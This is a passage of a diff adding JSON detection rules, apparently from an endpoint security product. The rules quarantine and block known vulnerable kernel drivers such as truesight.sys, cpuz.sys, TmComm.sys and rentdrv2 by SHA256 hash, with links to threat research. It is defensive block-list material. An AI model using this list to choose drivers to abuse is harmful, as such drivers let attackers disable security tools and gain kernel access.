+  "hl_testing_start_time": "2026-03-23T11:45:31.154968Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d44a12e97d1c9280e460b7172a436f5a72ccd65d9b36b99abf523c1a1f7a3034",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f50dae47-3ead-523b-b8ff-b1cc6af7410c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.473659Z",
+  "creation_date": "2026-03-23T11:45:30.473663Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.473671Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e618c3484111ea363a1ecd2c5f5d4abab13f2f474c870bfa5f6edb98df66f4cc",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f5138adc-1798-5a29-a557-c6bd1e9be4fa",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.619507Z",
+  "creation_date": "2026-03-23T11:45:29.619509Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.619514Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5daf5fcf2e234f21d487a696f49410901b417162337052c657fb5fcaffcb771c",
+  "comment": "Insyde Software dangerous update tool (aka segwindrvx64.sys) [https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=Program%3AWin32%2FVulnInsydeDriver.A&threatid=258247] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f51b4e69-78d0-5ec3-8de6-43be2cdbf4d9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.827603Z",
+  "creation_date": "2026-03-23T11:45:31.827605Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.827610Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "29a08f4404060bfe949ba170bd14ecfe63ea36d6c1b95626c4feebd031bbcd9f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f52c0a36-b73b-519c-99ad-a24aa9c8f1d1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.820777Z",
+  "creation_date": "2026-03-23T11:45:31.820780Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.820789Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e308f38ebb979e8a4608476c3d081e4410f657e7b031fe7103650a59f58e1208",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f53bb847-fb15-594f-969c-495cfb249ddd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.817133Z",
+  "creation_date": "2026-03-23T11:45:31.817135Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.817141Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "801cb16225aaf3bebff46eaf5d9b0158ee0d1ccc4534dc6220b9cc18986a0c5b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f541314b-82e6-57c3-8e22-719892582cea",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.477318Z",
+  "creation_date": "2026-03-23T11:45:30.477322Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.477331Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7048d90ed4c83ad52eb9c677f615627b32815066e34230c3b407ebb01279bae6",
+  "comment": "Vulnerable Kernel Driver (aka elbycdio.sys) [https://www.loldrivers.io/drivers/855ade1f-8a9e-4c9d-ab8e-d7e409609852/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f5423fa1-87e0-574f-ad5c-ef249230edab",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.832642Z",
+  "creation_date": "2026-03-23T11:45:30.832644Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.832649Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6f5ff9939a42d48ce8c6eacd51fc62609b735e2b7a052df3e696051074348577",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f552cbf3-2637-54c5-9866-f240df35cda1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.154149Z",
+  "creation_date": "2026-03-23T11:45:31.154152Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.154158Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6f979e48c56cc6358b21b467012c19aa0e4c32134a5fe964158cb69caf4cd8d8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f564c890-13d8-5d82-8fe1-0ee953d2687f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.479439Z",
+  "creation_date": "2026-03-23T11:45:30.479441Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.479447Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0452a6e8f00bae0b79335c1799a26b2b77d603451f2e6cc3b137ad91996d4dec",
+  "comment": "Vulnerable Kernel Driver (aka segwindrvx64.sys) [https://www.loldrivers.io/drivers/a4aa80bc-4ecd-49ab-bc0f-0f49b07fdd7f/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f5674847-1ece-5c90-8da5-be6e995a22c1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.972703Z",
+  "creation_date": "2026-03-23T11:45:29.972705Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.972711Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9f86fc8a6eaa3b38f33be4a0d552c184e575afa50a60df7383c06a394e3926d8",
+  "comment": "TG Soft vulnerable driver (aka viragt.sys and viragt64.sys) [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f579ee1f-f584-5ac3-b4cf-e3ce74f94c12",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.974017Z",
+  "creation_date": "2026-03-23T11:45:29.974019Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.974024Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dbc604b4e01362a3e51357af4a87686834fe913852a4e0a8c0d4c1a0f7d076ed",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f57af528-7d70-5074-9b6a-77947d9636ab",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.142556Z",
+  "creation_date": "2026-03-23T11:45:32.142573Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.142586Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b3c9af8c4be8f62d25b955f92d2a4e9ebd34f7fa787580454ef54241102e7b30",
+  "comment": "Vulnerable Rentdrv2 Driver (aka rentdrv2_x32.sys and rentdrv_x64.sys) [https://github.com/keowu/BadRentdrv2, https://unit42.paloaltonetworks.com/agonizing-serpens-targets-israeli-tech-higher-ed-sectors/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f580852a-12f0-5cc7-a76c-90b7f670e29a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.490893Z",
+  "creation_date": "2026-03-23T11:45:31.490897Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.490905Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e6a1562b6f7385619258db40f1cf4593d1025cf97401462000840acd3c32ad16",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f5876ff0-5366-544d-bc29-3cfb047613e2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.454821Z",
+  "creation_date": "2026-03-23T11:45:30.454824Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.454832Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5195443274ee3a382e947f03fd409437730434c2af0c1bb1c99f5ba1953f989e",
+  "comment": "Vulnerable Kernel Driver (aka mhyprotrpg.Sys) [https://www.loldrivers.io/drivers/ebdde780-e142-44e7-a998-504c516f4695/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f590dc70-3db6-5651-b9ee-4bfa323dd917",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.456161Z",
+  "creation_date": "2026-03-23T11:45:30.456164Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.456174Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cac6f11d37bf2438a7f07053bbe692bb135bc06c245b56e8411e3bd906e15f98",
+  "comment": "Vulnerable Kernel Driver (aka fd3b7234419fafc9bdd533f48896ed73_b816c5cd.sys) [https://www.loldrivers.io/drivers/c7f76931-e24c-4d94-9e1f-5a083da581b4/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f5910f1a-42e1-5198-b510-8ae37cf1ba3b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.455759Z",
+  "creation_date": "2026-03-23T11:45:30.455762Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.455771Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1b17d12076d047e74d15e6e51e10497ad49419bec7fbe93386c57d3efbaadc0b",
+  "comment": "Vulnerable Kernel Driver (aka HWiNFO32.SYS) [https://www.loldrivers.io/drivers/2225128d-a23f-434a-aaee-69a88ea64fbd/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f5916de2-3783-5006-9926-459c90f6bb4b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.472590Z",
+  "creation_date": "2026-03-23T11:45:30.472593Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.472603Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b0f6cd34717d0cea5ab394b39a9de3a479ca472a071540a595117219d9a61a44",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f5918195-7664-5e6e-b0c9-2699a1ba478f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.481295Z",
+  "creation_date": "2026-03-23T11:45:31.481298Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.481308Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ec46f787b37654072b52fbc17d46607d1f14c8b4a25552a1bff8e10eb89c1a80",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f595ae79-3203-57fb-bf81-27fc77f86e8d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.493901Z",
+  "creation_date": "2026-03-23T11:45:31.493905Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.493914Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b79dd4c9467d0d07b6a19a7768e5f9ded0778550b5f0f014a80ae44e67e0fdd3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f597f5f1-8407-5a49-9aa1-f201e884d881",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.822979Z",
+  "creation_date": "2026-03-23T11:45:31.822982Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.822992Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "950cbe3e38dfad78a935486807a8dbf85c77b8d0a792c994262591442c6ea6d1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f59c15cf-1a92-5afc-b5f5-7045c01fefbd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.471860Z",
+  "creation_date": "2026-03-23T11:45:30.471863Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.471895Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f7e0cca8ad9ea1e34fa1a5e0533a746b2fa0988ba56b01542bc43841e463b686",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f5aa971a-891d-51e5-bbf0-c16ac657fe77",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.146894Z",
+  "creation_date": "2026-03-23T11:45:31.146896Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.146901Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
